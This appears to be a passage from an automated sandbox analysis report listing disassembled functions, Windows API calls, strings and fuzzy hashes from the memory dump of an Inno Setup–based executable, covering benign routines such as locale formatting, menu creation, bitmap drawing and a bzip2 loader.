Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ClassInfoLongMessageSendWindow
String ID: COMBOBOX$Inno Setup: Language
API String ID: 3391662889-4234151509
Opcode ID: 7b097581a500be05759954e33284123b2b89370f46c26a428eff7c4db0c5a69c
Instruction ID: bb27e68bfa0a4e6e36c1c9b1f46c00cfa2f47713d75b81585866a7fa3ef15c14
Opcode Fuzzy Hash: 7b097581a500be05759954e33284123b2b89370f46c26a428eff7c4db0c5a69c
Instruction Fuzzy Hash: C0813F746006059FC710EF69D885AEAB7F2FB09304F16C1BAE848E7362D738AD45CB59

Function 00408720 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,00408968,?,?,?,?,00000000,00000000,00000000,?,0040996F,00000000,00409982), ref: 0040873A

Part of subcall function 00408568: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408633,?,00000000,00408712), ref: 00408586

Part of subcall function 004085B4: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,004087B6,?,?,?,00000000,00408968), ref: 004085C7

Strings

:mm, xrefs: 0040891C
mmmm d, yyyy, xrefs: 0040882B
m/d/yy, xrefs: 00408809
AMPM, xrefs: 00408905
:mm:ss, xrefs: 00408936

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: 99a58aab46255149f4b24f4520dbd6929c7443738739b227c4cc8c7d24f61a81
Instruction ID: 5c6fde8006682913ecab3173e7335377554a92ac61a87523d81808753b4ec1a9
Opcode Fuzzy Hash: 99a58aab46255149f4b24f4520dbd6929c7443738739b227c4cc8c7d24f61a81
Instruction Fuzzy Hash: 7D516C24B00108ABDB01FBA69E4169EB7A9DB94308F50C07FA181BB3C3CE3DDA05975D

Function 004116F4 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158windowCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,004118F9), ref: 0041178C
InsertMenuItemA.USER32(?,000000FF,00000001,0000002C), ref: 0041184A

Part of subcall function 00411AAC: CreatePopupMenu.USER32 ref: 00411AC6

InsertMenuA.USER32(?,000000FF,?,?,00000000), ref: 004118D6

Part of subcall function 00411AAC: CreateMenu.USER32 ref: 00411AD0

InsertMenuA.USER32(?,000000FF,?,00000000,00000000), ref: 004118BD

Strings

,, xrefs: 0041179F
?, xrefs: 004117A6

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Menu$Insert$Create$ItemPopupVersion
String ID: ,$?
API String ID: 2359071979-2308483597
Opcode ID: b9a2b6ccc88d9caa62c3975205c07352f987ccdbf84bf9e0cd5a88eec52abf91
Instruction ID: ecf66c9774bccec907b621c371347452b74b7622051e058d8a4a73451c3e974f
Opcode Fuzzy Hash: b9a2b6ccc88d9caa62c3975205c07352f987ccdbf84bf9e0cd5a88eec52abf91
Instruction Fuzzy Hash: D7510674A00245ABDB10EF6ADC816EA7BF9AF09304B11857BF904E73A6D738DD41CB58

Function 0041BE63 Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000018,?), ref: 0041BF28
GetObjectA.GDI32(?,00000018,?), ref: 0041BF37
GetBitmapBits.GDI32(?,?,?), ref: 0041BF88
GetBitmapBits.GDI32(?,?,?), ref: 0041BF96
DeleteObject.GDI32(?), ref: 0041BF9F
DeleteObject.GDI32(?), ref: 0041BFA8
CreateIcon.USER32(00400000,?,?,?,?,?,?), ref: 0041BFC5

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Object$BitmapBitsDelete$CreateIcon
String ID:
API String ID: 1030595962-0
Opcode ID: dabea464bc85c36b4411cc83672e19ff5768c85fc4c65aec36842f1966395034
Instruction ID: 74cae3b7aa7aab4ce12a2fbd062d204c5c4082198076ec6df892ad84fd278e80
Opcode Fuzzy Hash: dabea464bc85c36b4411cc83672e19ff5768c85fc4c65aec36842f1966395034
Instruction Fuzzy Hash: 6A510671A002199FCB10DFA9C9819EEB7F9EF48314B11416AF914E7395D738AD41CB68

Function 0041CED8 Relevance: 10.7, APIs: 7, Instructions: 152windowCOMMON

Download Yara Rule

APIs

SetStretchBltMode.GDI32(00000000,00000003), ref: 0041CEFE
GetDeviceCaps.GDI32(00000000,00000026), ref: 0041CF1D
SelectPalette.GDI32(?,?,00000001), ref: 0041CF83
RealizePalette.GDI32(?), ref: 0041CF92
StretchBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,00000000,?,?), ref: 0041CFFC
StretchDIBits.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,?,00000000,?), ref: 0041D03A
SelectPalette.GDI32(?,?,00000001), ref: 0041D05F

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: PaletteStretch$Select$BitsCapsDeviceModeRealize
String ID:
API String ID: 2222416421-0
Opcode ID: c6a16a19dcf28552bada6898b81586dc49cb1edacb7efb66bca37046f5d7e7da
Instruction ID: 4b814cf558339e083a7fb5ccd56fb4ffad9fd0a27a4bfdacf16c2dd2476febac
Opcode Fuzzy Hash: c6a16a19dcf28552bada6898b81586dc49cb1edacb7efb66bca37046f5d7e7da
Instruction Fuzzy Hash: D2515EB0604200AFDB14DFA8C985F9BBBE9EF08304F10459AB549DB292C778ED81CB58

Function 00457128 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,?,?), ref: 0045717A

Part of subcall function 0042427C: GetWindowTextA.USER32(?,?,00000100), ref: 0042429C

Part of subcall function 0041EEA4: GetCurrentThreadId.KERNEL32 ref: 0041EEF3
Part of subcall function 0041EEA4: EnumThreadWindows.USER32(00000000,0041EE54,00000000), ref: 0041EEF9

Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004571E1
TranslateMessage.USER32(?), ref: 004571FF
DispatchMessageA.USER32(?), ref: 00457208

Strings

[Paused] , xrefs: 004571B0

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Message$TextThreadWindow$CurrentDispatchEnumSendTranslateWindows
String ID: [Paused]
API String ID: 1007367021-4230553315
Opcode ID: fd37f0685e9949bc630816f418b91ae10989fde9f4c26f7dfdebc9041f05c988
Instruction ID: 9c65c5789669556775cb04b7d8b700a3e8427f17a0623b42c67a15115a154b53
Opcode Fuzzy Hash: fd37f0685e9949bc630816f418b91ae10989fde9f4c26f7dfdebc9041f05c988
Instruction Fuzzy Hash: 3A3196309082449EDB11DFB5EC81FDEBBB8EB49314F5580B7F800E7292D6389909CB69

Function 0046B294 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99sleepCOMMON

Download Yara Rule

APIs

GetCursor.USER32(00000000,0046B3D3), ref: 0046B350
LoadCursorA.USER32(00000000,00007F02), ref: 0046B35E
SetCursor.USER32(00000000,00000000,00007F02,00000000,0046B3D3), ref: 0046B364
Sleep.KERNEL32(000002EE,00000000,00000000,00007F02,00000000,0046B3D3), ref: 0046B36E
SetCursor.USER32(00000000,000002EE,00000000,00000000,00007F02,00000000,0046B3D3), ref: 0046B374

Strings

CheckPassword, xrefs: 0046B2F8

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Cursor$LoadSleep
String ID: CheckPassword
API String ID: 4023313301-1302249611
Opcode ID: 9ec6fbb627a2037d8b10d3b03f13e16da416f17f6db7f06dbaba65bff406c05b
Instruction ID: 12e539274ef1f9e2a04eba0c68275a436143f563f239c7c10787bf1112b5c925
Opcode Fuzzy Hash: 9ec6fbb627a2037d8b10d3b03f13e16da416f17f6db7f06dbaba65bff406c05b
Instruction Fuzzy Hash: 883140347402449FD711DB69C899B9A7BE4EB05304F5580B6BC44DB392D7789E80CB99

Function 004595D4 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(626D6573,CreateAssemblyCache), ref: 0045968F

Strings

Fusion.dll, xrefs: 0045962F
Failed to load .NET Framework DLL "%s", xrefs: 00459674
CreateAssemblyCache, xrefs: 00459686
.NET Framework CreateAssemblyCache function failed, xrefs: 004596B2
Failed to get address of .NET Framework CreateAssemblyCache function, xrefs: 0045969A

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc
String ID: .NET Framework CreateAssemblyCache function failed$CreateAssemblyCache$Failed to get address of .NET Framework CreateAssemblyCache function$Failed to load .NET Framework DLL "%s"$Fusion.dll
API String ID: 190572456-3990135632
Opcode ID: c76a925808990de0a4edfa3a9bd9e2f18b95e6c6c4d3f27ecf656a26428a2687
Instruction ID: 16de9e68b372fd706bfdce8394bce33e03e331de8444419fbf47e642e04e3cf3
Opcode Fuzzy Hash: c76a925808990de0a4edfa3a9bd9e2f18b95e6c6c4d3f27ecf656a26428a2687
Instruction Fuzzy Hash: E1318B71E10605EBCB01EFA9C88159EB7B4EF44315F50857BE814E7382DB389E08C799

Function 0041C148 Relevance: 10.6, APIs: 7, Instructions: 70windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041C048: GetObjectA.GDI32(?,00000018), ref: 0041C055

GetFocus.USER32 ref: 0041C168
GetDC.USER32(?), ref: 0041C174
SelectPalette.GDI32(?,?,00000000), ref: 0041C195
RealizePalette.GDI32(?), ref: 0041C1A1
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 0041C1B8
SelectPalette.GDI32(?,00000000,00000000), ref: 0041C1E0
ReleaseDC.USER32(?,?), ref: 0041C1ED

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Palette$Select$BitsFocusObjectRealizeRelease
String ID:
API String ID: 3303097818-0
Opcode ID: 26117fda3ddcda01a6cc84f42a4f6ec069d0e010bd6cdd98afb854c6c7779a8d
Instruction ID: 25a0b6576c779426e59073023ceed4ef49f3845c1b310514cd4f08ef327de147
Opcode Fuzzy Hash: 26117fda3ddcda01a6cc84f42a4f6ec069d0e010bd6cdd98afb854c6c7779a8d
Instruction Fuzzy Hash: 49116D71A44604BFDF10DBE9CC81FAFB7FCEB48700F50486AB518E7281DA7899008B28

Function 00418C54 Relevance: 10.6, APIs: 7, Instructions: 67COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000E), ref: 00418C70
GetSystemMetrics.USER32(0000000D), ref: 00418C78
6F532980.COMCTL32(00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418C7E

Part of subcall function 004107F8: 6F52C400.COMCTL32(0049B628,000000FF,00000000,00418CAC,00000000,00418D08,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 004107FC

6F59CB00.COMCTL32(0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418CCE
6F59C740.COMCTL32(00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001), ref: 00418CD9
6F59CB00.COMCTL32(0049B628,00000001,?,?,00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000), ref: 00418CEC
6F530860.COMCTL32(0049B628,00418D0F,?,00000000,?,0049B628,00000000,00000000,00000000,00000000,00418D08,?,00000000,0000000D,00000000,0000000E), ref: 00418D02

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: MetricsSystem$C400C740F530860F532980
String ID:
API String ID: 209721339-0
Opcode ID: e2c7fe5230f8d2f143d47c0d6a7892a097693e1c100db4317caf46c6149257f7
Instruction ID: f48c8f8e6a400555c090207229051c9eae11b8a9b20c4da93df477ea8fa1a9e8
Opcode Fuzzy Hash: e2c7fe5230f8d2f143d47c0d6a7892a097693e1c100db4317caf46c6149257f7
Instruction Fuzzy Hash: 6B112475744204BBDB50EBA9EC82FAD73F8DB08704F504066B514EB2C1DAB9AD808759

Function 00483750 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,00483808), ref: 004837ED

Strings

LanmanNT, xrefs: 004837B7
ServerNT, xrefs: 004837D1
System\CurrentControlSet\Control\ProductOptions, xrefs: 00483774
WinNT, xrefs: 0048379D
ProductType, xrefs: 0048378C

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseOpen
String ID: LanmanNT$ProductType$ServerNT$System\CurrentControlSet\Control\ProductOptions$WinNT
API String ID: 47109696-2530820420
Opcode ID: 6cffb51fcf675e5b5ff337e99a1a510b156e53e1e1d602fe7582bc6a3ac7d990
Instruction ID: c613687e0df8eb2305741995cd8b82d1e16d8def3fb188134640bd78fd3b844b
Opcode Fuzzy Hash: 6cffb51fcf675e5b5ff337e99a1a510b156e53e1e1d602fe7582bc6a3ac7d990
Instruction Fuzzy Hash: 7711AFB0B00204AAD700FBA68C12A5EBAE8DB55B09F208877A800E7681E73CDB01875C

Function 00495078 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00495089

Part of subcall function 0041A1E8: CreateFontIndirectA.GDI32(?), ref: 0041A2A7

SelectObject.GDI32(00000000,00000000), ref: 004950AB
GetTextExtentPointA.GDI32(00000000,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,00495629), ref: 004950BF
GetTextMetricsA.GDI32(00000000,?), ref: 004950E1
ReleaseDC.USER32(00000000,00000000), ref: 004950FE

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 004950B6

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Text$CreateExtentFontIndirectMetricsObjectPointReleaseSelect
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
API String ID: 2948443157-222967699
Opcode ID: 53fe9a462762cb4918ee61071ab08c48f7ebae39ed882d9ecfdb03bcb5db6ebb
Instruction ID: d310c62e5609ca3062061d10b625b1d271ae10615434581f3ecc8597d6741426
Opcode Fuzzy Hash: 53fe9a462762cb4918ee61071ab08c48f7ebae39ed882d9ecfdb03bcb5db6ebb
Instruction Fuzzy Hash: 76014875A04704BFDB05DBA5CC42F5EB7ECDB49714F614476F604E7281D5789E008B68

Function 0041B462 Relevance: 10.6, APIs: 7, Instructions: 57windowCOMMON

Download Yara Rule

APIs

SelectObject.GDI32(00000000,?), ref: 0041B470
SelectObject.GDI32(?,00000000), ref: 0041B47F
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B4AB
SelectObject.GDI32(00000000,00000000), ref: 0041B4B9
SelectObject.GDI32(?,00000000), ref: 0041B4C7
DeleteDC.GDI32(00000000), ref: 0041B4D0
DeleteDC.GDI32(?), ref: 0041B4D9

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ObjectSelect$Delete$Stretch
String ID:
API String ID: 1458357782-0
Opcode ID: 8542cbb8adbe0fd8af4a730cfe3faeef428ae57c020086fb9cb954466ea4b08d
Instruction ID: 052e9154069abc57648b404522aaf552eddfcc6d95cd3388d63b7ef9ce004286
Opcode Fuzzy Hash: 8542cbb8adbe0fd8af4a730cfe3faeef428ae57c020086fb9cb954466ea4b08d
Instruction Fuzzy Hash: 7B115C72E40619ABDB10DAD9DC86FEFB7BCEF08704F144555B614F7282C678AC418BA8

Function 00423394 Relevance: 10.6, APIs: 7, Instructions: 56threadwindowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 004233AF
WindowFromPoint.USER32(?,?), ref: 004233BC
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 004233CA
GetCurrentThreadId.KERNEL32 ref: 004233D1
SendMessageA.USER32(00000000,00000084,?,?), ref: 004233EA
SendMessageA.USER32(00000000,00000020,00000000,00000000), ref: 00423401
SetCursor.USER32(00000000), ref: 00423413

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CursorMessageSendThreadWindow$CurrentFromPointProcess
String ID:
API String ID: 1770779139-0
Opcode ID: 134875e674979cd567c136abb418dc525a6250aa5b529fa10794d0eebf3240cc
Instruction ID: 22bb490dc700fc35bbf8fe9eba0271ced42fa0644d0760cf779c582944844a3d
Opcode Fuzzy Hash: 134875e674979cd567c136abb418dc525a6250aa5b529fa10794d0eebf3240cc
Instruction Fuzzy Hash: BA01D4223046103AD6217B755D82E2F26E8DB85B15F50407FF504BB283DA3D9D11937D

Function 00494E9C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll), ref: 00494EAC
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 00494EB9
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 00494EC6

Strings

MonitorFromRect, xrefs: 00494EB3
user32.dll, xrefs: 00494EA7
GetMonitorInfoA, xrefs: 00494EC0

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetMonitorInfoA$MonitorFromRect$user32.dll
API String ID: 667068680-2254406584
Opcode ID: 86a2ddc52e299a4ebb71bf23d73df01b3b4fd34307be7bd5855d98afd1a17bd4
Instruction ID: 92166a125eb2f71293346f1714c1de0d588af794120117df170beecaff70c54b
Opcode Fuzzy Hash: 86a2ddc52e299a4ebb71bf23d73df01b3b4fd34307be7bd5855d98afd1a17bd4
Instruction Fuzzy Hash: 5FF0F65278171627DE1026668C41F7F6ACCDBD5761F050137BE05AB3C2E99C8C0242FD

Function 0045D4D8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,BZ2_bzDecompressInit), ref: 0045D4E1
GetProcAddress.KERNEL32(00000000,BZ2_bzDecompress), ref: 0045D4F1
GetProcAddress.KERNEL32(00000000,BZ2_bzDecompressEnd), ref: 0045D501

Strings

BZ2_bzDecompress, xrefs: 0045D4EB
BZ2_bzDecompressEnd, xrefs: 0045D4FB
BZ2_bzDecompressInit, xrefs: 0045D4DB

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
